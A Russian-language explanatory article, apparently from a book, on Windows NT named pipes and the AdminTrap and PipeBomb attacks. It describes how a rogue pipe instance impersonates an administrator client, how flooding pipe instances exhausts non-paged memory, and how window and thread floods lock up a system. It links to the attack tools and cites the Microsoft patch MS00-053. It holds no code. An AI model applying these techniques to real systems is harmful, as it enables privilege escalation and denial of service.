Редиректор (redirector) обеспечивает средства межсетевого взаимодействия и предоставляет доступ к файлам, именованным каналам (Named Pipe), почтовым ящикам (Maillots) и принтерам, расположенным на удаленной машине.

В Windows NT редиректор реализован как драйвер файловой системы, доступный в системе через устройство “\Device\Redirector”, которое создает надстройку над протоколами транспортного уровня, позволяющую работать с соединениями точно так, как с файлами. В частности в обязанности редиректора входит корректная обработка и восстановление разрывов соединения.

Именованные каналы представляют собой механизм межсетевой передачи данных по виртуальному каналу, гарантирующему доставку сообщений. (Почтовые ящики не гарантируют доставку сообщений и процесс-отправитель не получает уведомление получил ли адресат сообщение или нет). Каналы реализованы в виде псевдофайловой системы NPFS (Named Pipe File System), которая хранит все сообщения в памяти и выдает их по запросу. Имена сообщений представляются в виде “\pipe\pipaname” и они работают с теми же функциями, что и обыкновенные файлы (например, CreateFile, ReadFile, WriteFile).

Создать именованный канал (или новый экземпляр существующего канала, если такой канал уже есть) позволяет функция CreateNamedPipe. Каждый экземпляр канала одновременно может работать лишь с одним клиентом. Поэтому, при создании канала, сервер сразу же открывает несколько экземпляров канала. В документации Microsoft утверждается, что при запросе на подключение система соединяет клиента с любым незанятным экземпляром канала, но эксперименты показывают, - клиент всегда подключается к наиболее ранее созданному (или освобожденному) каналу.

Создать экземпляр уже существующего канала может любой процесс, независимо от его привилегий и прав доступа. Система примет новый экземпляр канала на равных правах со старым. И когда все созданные ранее экземпляры окажутся занятыми, очередной клиент, желающий установить соединение, будет отослан к подложному каналу. Но функции API не позволяют клиенту узнать, какой процесс обрабатывает канал, с которым клиент установил соединение!

Это дает возможность внедрять ложные объекты в вычислительную систему и перехватывать входящий трафик. Более того, существует возможность унаследовать права клиента! Процессу, породившему экземпляр канала, достаточно вызвать функцию ImpersonateNamedPipeClient, выполняющую олицетворение (Impersonate) клиента. Вообще-то, эта функция задумывалась как раз для обратного - понижения привилегий потока, выполняющего олицетворение.

Разработчики, в стремлении усилить защищенность системы, предложили: потоку, обрабатывающему подключение, временно назначать права клиента, установившего соединение. Пока привилегии клиента не превышают привилегий сервера (а обычно это так и есть), не происходит ничего интересного. Но как только пользователь из группы guest (или Everyone) создаст подложный экземпляр потока, и дождется подключения привилегированного клиента (или администратора!) он увеличит свои права (иногда весьма значительно)!

Вообще-то прикладные программы используют каналы крайне редко и, казалось бы, злоумышленнику ни на что рассчитывать не приходится. Но интенсивнее всех использует каналы система удаленного администрирования, поэтому, существует вполне осязаемая угроза перехвата прав администратора! Причем система не в состоянии обнаружить вторжение нарушителя. Если, конечно, он не станет совершать действий, обращающих на себя внимание, и сохраняющихся в протоколах и журналах. Так, например, создание нового пользователя (группы) наверняка будет замечено администратором, но ничто не мешает злоумышленнику выполнять любые операции от его имени (скажем, копировать файлы).

Впрочем, существует одно существенное ограничение: олицетворяется не пользователь, а поток, и по наследству полученные привилегии не передаются. Это происходит потому, что в Windows NT новому процессу назначается маркер доступа процесса-родителя, а не маркер доступа потока, вызывающего CreateProcess. Поэтому, злоумышленник, не сможет запустить ни одной программы, требующей прав администратора. Однако ему это и не нужно - достаточно воспользоваться соответствующими системными функциями (а они доступны, включая те, которые требуют для исполнения прав администратора).

Существует программная реализация такой атаки, созданная Вадимом Проскуриным, совместно с Петром Девяниным и Сергеем Заливакиным. Программа AdminTrap (http://hackzone.ru/articles/AdmTrap.zip) создает троянский экземпляр одного из системных каналов и ждет подключения клиента. Если получение прав администратора происходит успешно, в качестве демонстрации работоспособности программы, создается новый пользователь в группе «Администраторы», но для предотвращения несанкционированного доступа вновь созданная учетная запись тут же блокируется. Очевидно, разработчики не ставили перед собой целью вторжения в чужие системы, а стремились показать наличие такой уязвимости.

Тут можно пофилософствовать, что будет, если эта информация попадет в руки злоумышленника, ведь для перехвата каналов достаточно иметь начальные навыки программирования и хотя бы поверхностно разбираться в win32 API. Или вдруг найдется хакер, который незначительным исправлением программы AdminTrap, добьется разблокировки учетной записи?

Поэтому уместно привести слова разработчика программы: «Конечно, опытный хакер легко сможет снять все перечисленные (и не перечисленные) блокировки. Но, как показывает опыт, опытные хакеры обычно не занимаются подобной деятельностью. Как бы то ни было, не нужно писать мне письма с просьбой отключить эти блокировки - это бесполезно»

Незначительное техническое уточнение, - поскольку системные сервисы заранее создают несколько экземпляров каналов, то, скорее всего, подложный экземпляр канала никогда не дождется клиента (в самом деле, в какой системе наберется десяток одновременно работающих администраторов?). Поэтому, необходимо занять все существующие каналы работой и заблокировать сервер, не давая ему возможность создавать новые экземпляры.

И такая возможность есть! Системные сервисы в Windows NT не ограничивают максимального количества создаваемых экземпляров канала, а каждый канал, как правило, обрабатывается отдельным потоком (т.е. происходит классическое, популярное со времен UNIX, расщепление процесса-обработчика при запросе на очередное подключение). Все потоки и каждый экземпляр канала требуют некоторого количества оперативной памяти, и если злоумышленник вздумает в бесконечном цикле устанавливать все новые и новые соединения, оперативной памяти может попросту не хватить!

На первый взгляд никакой опасности нет, - Windows NT поддерживает виртуальную память и при необходимости умеет выгружать наименее нужные страницы на диск. Злоумышленник физически не сможет работать со всеми установленными соединениями одновременно (памяти-то у него поменьше, чем у сервера будет) и неактивные потоки без ущерба для производительности могут быть скинуты в файл подкачки. Кажется, все определяется лишь количеством свободного места на диске.

Но при создании канала система размещает входящий и исходящей буфера в неоткачиваемой памяти (non-paged pool). Поэтому, максимальное количество экземпляров канала определяется объемом неоткачиваемой памяти, выделенной процессу. Таким образом, существует возможность, как заблокировать создание новых экземпляров канала, так и замедлить работу системы, отобрав у системных процессов всю свободную оперативную память, заставляя их за каждой страницей обращаться к диску.

Вот так описывает Вадим Проскурин реакцию системы на создание бесчисленного количества экземпляров системных каналов:

«…загрузка процессора компьютера, на котором выполняется процесс-сервер, стабильно держится на уровне 100% (при этом около 90% времени процессор обслуживает процессы с базовым приоритетом High), а объем свободной оперативной памяти этого компьютера уменьшается со скоростью от 1 до 3 мегабайт в секунду. Когда и физическая, и виртуальная памяти компьютера переполняются, и начинается рост файла виртуальной памяти, эта скорость несколько уменьшается. Уже через минуту атакованный компьютер становится практически неработоспособен (окно Explorer прорисовывается несколько минут), а через 5-10 минут перегруженность операционной системы достигает такой степени, что команда Shutdown выполняется 3-6 часов»

Идея подобной атаки, окрещенной PipeBomb, принадлежит Петру Девянину, а Сергеем Заливакиным создана ее программная реализация, которую можно получить, обратившись по адресу: http://hackzone.ru/articles/PipeBomb.zip

По словам авторов, комбинированием AdminTrap со строго дозированным воздействием на систему PipeBomb, им удалось перехватить два соединения: winreg, управляющее удаленным доступом к реестру, и spoolss, отвечающее за удаленное управление принтером. Однако не исключено, что удастся перехватить и другие соединения, в том числе служебные, выполняющиеся системой без непосредственного участия администратора. Например, каналы lsass, и LANMAN используются для передачи по сети имени пользователя и хеш - значения пароля во время сеанса аутентификации, а механизм удаленного вызова процедур (RCP) использует канал lsarpc.

Обе атаки успешно функционирует в среде в Windows NT 4.0, со всеми установленными Service Pack и Windows 2000, одинаково хорошо «чувствуя» себя и на рабочей станции, и на сервере. Они осуществимы как из локальной сети, так из Internet, поскольку основаны на прикладном SMB-протоколе, который может быть реализован поверх транспортного протокола TCP. Административными средствами посильно перекрыть Internet-трафик, установив фильтр, отсекающий все пакеты, содержащие заголовки SMB, но такая мера бессильна против злоумышленников, находящихся внутри локальной сети.

Фирма же Microsoft исправила эту проблему после выхода Windows 2000, выпустив 2 августа 2000 года заплатку «Service Control Manager Named Pipe Impersonation», которую можно получить, обратившись по адресу http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23432.

Оказались уязвимы все три платформы - и Microsoft Windows 2000 Professional и Microsoft Windows 2000 Server и Microsoft Windows 2000 Advanced Server, поэтому нерасторопные администраторы рискуют подвергнуться атаке. Подробнее об этом можно прочитать в технической заметке Microsoft Security Bulletin (MS00-053).

Вообще же отсутствие ограничений на количество создаваемых объектов в NT повсеместны. Давно известен пример атакующей программы, которая в бесконечном цикле создавала огромное количество окон. Когда же лимит, отведенный системе, исчерпывается (все на свете рано или поздно кончается), никто, даже ядро системы, не могло создать новое окно. Ни работать на компьютере, ни «прибить» процесс, ни даже завершить работу системы становилось невозможно, потому что для этого требовалось вызвать либо Менеджер Задач, либо диалог «Завершение Работы», но новое окно создать было невозможно! Поэтому, оставалось утопить «заветную» клавишу Reset или выдернуть шнур из сети электропитания. Помнится, Microsoft решила проблему «методом страуса» - окно Менеджера Задач создавалось сразу же после старта системы, но не отображалось на экране, пока в нем не было необходимости, а вызов Менеджера Задач только менял атрибуты уже существующего окна, и оно оставалось доступно в любой критической ситуации.

Спустя некоторое время появилась простая программа, вместо окон в бесконечном цикле порождающая потоки (а количество потоков, принадлежащих процессу, не зависимо от его привилегий, не ограничено). Потоки же способны «съесть» все процессорное время и остальные процессы с равным (или низшим) приоритетом практически «замрут». Впрочем, если у злоумышленника отсутствует право выполнять процессы с приоритетом выше среднего [171] (Normal), то существует возможность «прибить» зловредную программу Менеджером Задач, но, увы, не автоматически. Если это произойдет на сервере, то многие приложения окажутся парализованными до вмешательства администратора.

Поэтому, ситуацию с каналами нельзя отнести в разряд непредвиденных, однако, это первая реализация удаленного перехвата, которая не может быть устранена правильным администрированием. И никто не гарантирует, что завтра не обнаружатся новые серьезные дыры в системе безопасности. Скорее наоборот, обнаружатся наверняка. Ну не может быть, чтобы не обнаружились! Но вот где, как и когда?